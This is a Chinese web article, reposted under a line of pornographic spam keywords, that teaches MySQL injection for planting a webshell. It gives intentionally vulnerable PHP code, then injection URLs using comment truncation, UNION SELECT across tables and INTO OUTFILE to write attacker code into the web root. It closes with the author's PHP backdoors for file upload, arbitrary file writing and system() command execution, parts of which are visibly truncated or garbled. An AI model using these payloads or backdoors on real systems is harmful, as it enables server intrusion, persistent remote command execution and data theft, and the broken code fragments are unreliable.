欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell

 更新時(shí)間:2008年05月15日 22:58:15   作者:  
大家都知道,在MySQL中,無法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來插入數(shù)據(jù),因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。
最大的局限就在這里——插入數(shù)據(jù),所以我們只能從程序現(xiàn)有的功能入手,其實(shí)很多程序都可以提交評(píng)論、留言、帖子等,就看程序是怎么把變量插入數(shù)據(jù)庫的。其實(shí)道路就在我們身邊,靠我們自己去開辟。
  不用多說,先看在本地測(cè)試的一個(gè)簡(jiǎn)單例子,建立一個(gè)表,結(jié)構(gòu)如下:
CREATE TABLE `article` (
 `articleid` INT NOT NULL AUTO_INCREMENT ,
 `title` VARCHAR( 200 ) NOT NULL ,
 `content` TEXT NOT NULL ,
 `visible` INT DEFAULT '1' NOT NULL ,
 PRIMARY KEY ( `articleid` )
);
  瀏覽文章的文件show.php如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection"; 
mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");
$sql = "SELECT * FROM article WHERE articleid=$id and visible=1";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
  echo "該記錄不存在";
  echo "<p>SQL Query:$sql<p>";
  exit;
}
function html_clean($content){
  $content = htmlspecialchars($content);
  $content = str_replace("\n", "<br>", $content);
  $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  $content = str_replace("\t", '&nbsp;&nbsp;&nbsp;&nbsp;', $content);
  return $content;
}
echo "<title>".$row['title']."</title>";
echo "<b>標(biāo)題:</b>".htmlspecialchars($row['title'])."<hr>\n";
echo "<b>內(nèi)容:</b><p>".html_clean($row['content'])."</p><hr>\n";
echo "SQL Query:$sql";
?>
  游客提交文章的文件add.php如下:
<?
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection"; 
mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫連接失敗");
if ($_POST['action']=="add") {
  if ($title=="" or $content=="") {
    echo "您還沒有填寫完表單。";
    exit;
  } else {
    $sql="INSERT INTO article (title,content,visible) VALUES('$title','$content','0')";
    // 如果 visible 字段為1 ,則表示顯示此文。
    // 由于是游客提交的,肯定是插入0,管理員審核后更新為1。
    mysql_db_query($dbname, $sql);
    mysql_close();
    echo "您已經(jīng)提交完畢,正在等待管理員審核。";
    exit;
  }
}
?>
<form action="add.php" method="POST">
文章標(biāo)題:<br><input name="title" type="text" size="50" maxlength="100"><p>
文章內(nèi)容:<br><textarea name="content" cols="50" rows="15"></textarea><p>
<input type="hidden" name="action" value="add"><input type="submit" value="提交">
</form>
  很多程序都是直接把用戶的數(shù)據(jù)插入數(shù)據(jù)庫中,需要調(diào)用的時(shí)候再用函數(shù)來處理,就像上面的show.php一樣。這樣給我們?cè)炀土艘粋€(gè)機(jī)會(huì),就是把我們的WebShell原封不動(dòng)的寫進(jìn)數(shù)據(jù)庫,很少有程序是將變量處理后才插進(jìn)數(shù)據(jù)庫的,VBB都是直接放。
  我們?cè)L問add.php提交我們的代碼進(jìn)文章內(nèi)容,此時(shí)文章是隱藏的,我們?cè)趺粗滥瞧恼碌膇d呢?其實(shí)很簡(jiǎn)單:
http://127.0.0.1/injection/show.php?id=2
# 這樣是瀏覽正常文章,如果文章不顯示,幾時(shí)存在也會(huì)提示不存在。
http://127.0.0.1/injection/show.php?id=2/*
# 這樣可以注釋掉visible字段的判斷,則可顯示被隱藏的文章。

  注意看上圖的SQL Query那里,只要我們注釋掉后面的判斷,就可以改變id來找我們的文章了,剛才我們是提交了完整的代碼,這個(gè)代碼是我寫的一個(gè)小型上傳型后門,可以上傳任何類型的文件到該腳本所在的目錄,但大小不能超過php.ini里的設(shè)置。
  現(xiàn)在代碼已經(jīng)寫入了,現(xiàn)在開始構(gòu)造我們的into outfile語句了,只要構(gòu)造正確,我們的導(dǎo)出文件就會(huì)乖乖的躺在預(yù)定目錄里,至于如何找到web絕對(duì)路徑,如何找到有可寫權(quán)限的目錄,不在本文討論范圍,相信這些也難不到大家。提交:
http://127.0.0.1/injection/show.php?id=2 into outfile 'f:/www/1.php'/*
  返回如下提示:

  看到了吧?SQL語句是正確的,盡管出現(xiàn)了錯(cuò)誤提示,但只要目錄存在并可寫,那文件就一定已經(jīng)被導(dǎo)出:

  我們上傳的后門也正常執(zhí)行了,因?yàn)閜hp代碼并沒有被破壞。退一步來說,就算表單的引號(hào)被破壞了,我們還是可以在本地構(gòu)造表單的。

實(shí)例
  相信大家看到這里已經(jīng)對(duì)通過注入導(dǎo)出WebShell已經(jīng)有點(diǎn)認(rèn)識(shí)和思路了。上面是一個(gè)最簡(jiǎn)單的,最順暢的一個(gè)例子??此茥l件苛刻,實(shí)際無處不在,看似簡(jiǎn)單,實(shí)際發(fā)揮空間很大,如果靈活運(yùn)用,危害是不小的,下面就看一個(gè)更實(shí)際的例子,可以看作是一次完整的滲透測(cè)試。
  由于我現(xiàn)在不能上網(wǎng),我就在本地搭建一個(gè)和http://www.4ngel.net一摸一樣的站點(diǎn)來進(jìn)行滲透,所有數(shù)據(jù)庫和文件都和網(wǎng)上一樣,文章和論壇共用一個(gè)數(shù)據(jù)庫,都是我前天備份下來的。我現(xiàn)在去掉了showarticle.php文件中的對(duì)于$id過濾的代碼。形成一個(gè)有漏洞的站點(diǎn)(有點(diǎn)委屈了,55555)。

注意:當(dāng)前環(huán)境是magic_quotes_gpc = Off,有些程序做對(duì)輸入的變量做了處理,比如VBB,所以gpc打開或關(guān)閉無所謂。
  整個(gè)站點(diǎn)沒有提交文章、留言、評(píng)論的地方,我們不能從站點(diǎn)上提交我們的代碼,幸好,有一個(gè)論壇,呵呵,很多地方是可以提交我們的數(shù)據(jù)的,帖子、簽名等,我們就把WebShell的代碼寫在簽名里吧。

  然后我們就可以通過文章頁面的注入點(diǎn)跨表查詢簽名的內(nèi)容,然后導(dǎo)出來,有了WebShell,就算有safe_mode阻攔,但我們要滲透服務(wù)器,是基本沒有問題的。看上面的第5幅圖就知道了,文章查詢的是5個(gè)字段,我們現(xiàn)在就用union聯(lián)合查詢,關(guān)于union聯(lián)合查詢?cè)谖业摹禨QL Injection with MySQL》中已經(jīng)說得很清楚了,這里不再闡述。我們?cè)趗nion之后的查詢中,也指定5個(gè)字段“1,1,1,1,1”,查詢user表中angel用戶,userid為1,如果構(gòu)造正確,用戶存在。頁面會(huì)正常返回:
http://127.0.0.1/showarticle.php?id=25' union select 1,1,1,1,1 from user where userid=1/*

  我們看看是否真的能查詢到論壇的簽名的內(nèi)容,剛才看到出錯(cuò)的SQL語句,知道查詢文章內(nèi)容(content)的字段是第5個(gè),簽名的字段名是“signature”,我們把第5個(gè)1換成“signature”,然后給前面的$id指定一個(gè)不存在的值,這樣就可以在原來顯示文章內(nèi)容的地方顯示簽名的內(nèi)容了。構(gòu)造:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1/*

  嗯,查詢成功,開始導(dǎo)出吧,我本地的Web目錄是f:/www,這個(gè)我是知道的,呵呵,至于大家實(shí)際運(yùn)用的時(shí)候,如何獲取Web絕對(duì)路徑,不要來問我。
  緊接著剛才我們構(gòu)造的語句,在后面加上into outfile吧,提交:
http://127.0.0.1/showarticle.php?id=55' union select 1,1,1,1,signature from user where userid=1 into outfile 'f:/www/angel.php'/*
  嗯,出現(xiàn)錯(cuò)誤提示了,不管他,反正我們語句沒有構(gòu)造錯(cuò),而且我的F盤是Everyone完全控制的。自然我們的angel.php也出來了:

  看似復(fù)雜的東西,實(shí)際上是好容易掌握的,最主要是靈活性,程序的代碼各異,加上php的特性,利用的辦法就多種多樣了,不過有一點(diǎn)是要注意的,就是如果要導(dǎo)出數(shù)據(jù),單引號(hào)一定不能被破壞,可能來自程序代碼,可能來自magic_quotes_gpc,只要單引號(hào)被破壞了,成功率幾乎是零了。
  請(qǐng)各位不要用安全天使的站點(diǎn)來練手,既然這篇文章是我寫的,我的站點(diǎn)就不會(huì)存在這種問題了。
后記
  希望本文能起到拋磚引玉的效果,其他更深層的技術(shù),就靠大家自己去探索了,如果本文有什么錯(cuò)漏的地方或?qū)Ρ疚挠胁幻靼椎牡胤?,可以到安全天使的論壇與我交流。下面附上一些我寫的、也經(jīng)常用到的php后門,由于當(dāng)時(shí)才剛學(xué)習(xí)php不久,下面的代碼可能問題很多,如果想用功能更加強(qiáng)大php后門。建議下載我開發(fā)的phpspy。
PHP上傳型后門
<?php
// Codz by angel ACTION="" METHOD="POST"> 
<input NAME="MyFile" TYPE="file"> 
<input VALUE="提交" TYPE="submit"></form>
PHP文件生成型后門
<?php
// Codz by angel){ 
  $fp=@fopen("".$_POST['filename']."","wb"); 
  $content = $_POST['filedate'];
  $fw=@fwrite($fp,$content);
  if ($fw) { 
    echo "<b>恭喜,寫入文件成功!</b><a ; 
    exit; 
  } else { 
    echo "<b>寫入文件失敗,是不是權(quán)限的問題?</b><a ; 
    exit; 
  } 
  @fclose($fp);
}
?>
<form action="" method="post">
保存的文件名(如:<font color="#FF0000">angel.php</font>):<br>
<input type="text" name="filename" size="60">
<p>
文件保存在:<br><?=str_replace('\\','/',dirname(__FILE__))?>
<p>
文件內(nèi)容:
<br><textarea name="filedate" cols="60" rows="10"></textarea><br>
<input type="hidden" name="action" value="create"><input type="submit" value="保存">
</form>
<b>注意:當(dāng)有相同的文件存在時(shí),將完全改寫其內(nèi)容!</b>
執(zhí)行命令型后門
<?php
// Codz by angel method="post">
命令:<br>
<input type="text" name="command" size="60" <?php if ($command) { echo "value=\"$command\"";} ?>> <input name="submit_btn" type="submit" value="執(zhí)行"></p>
執(zhí)行結(jié)果:<br>
<textarea cols="80" rows="20" readonly><?phpif ($command) { system($command);}?></textarea><p>
注意:在windows主機(jī)部分命令可能有限制</form> 

相關(guān)文章

最新評(píng)論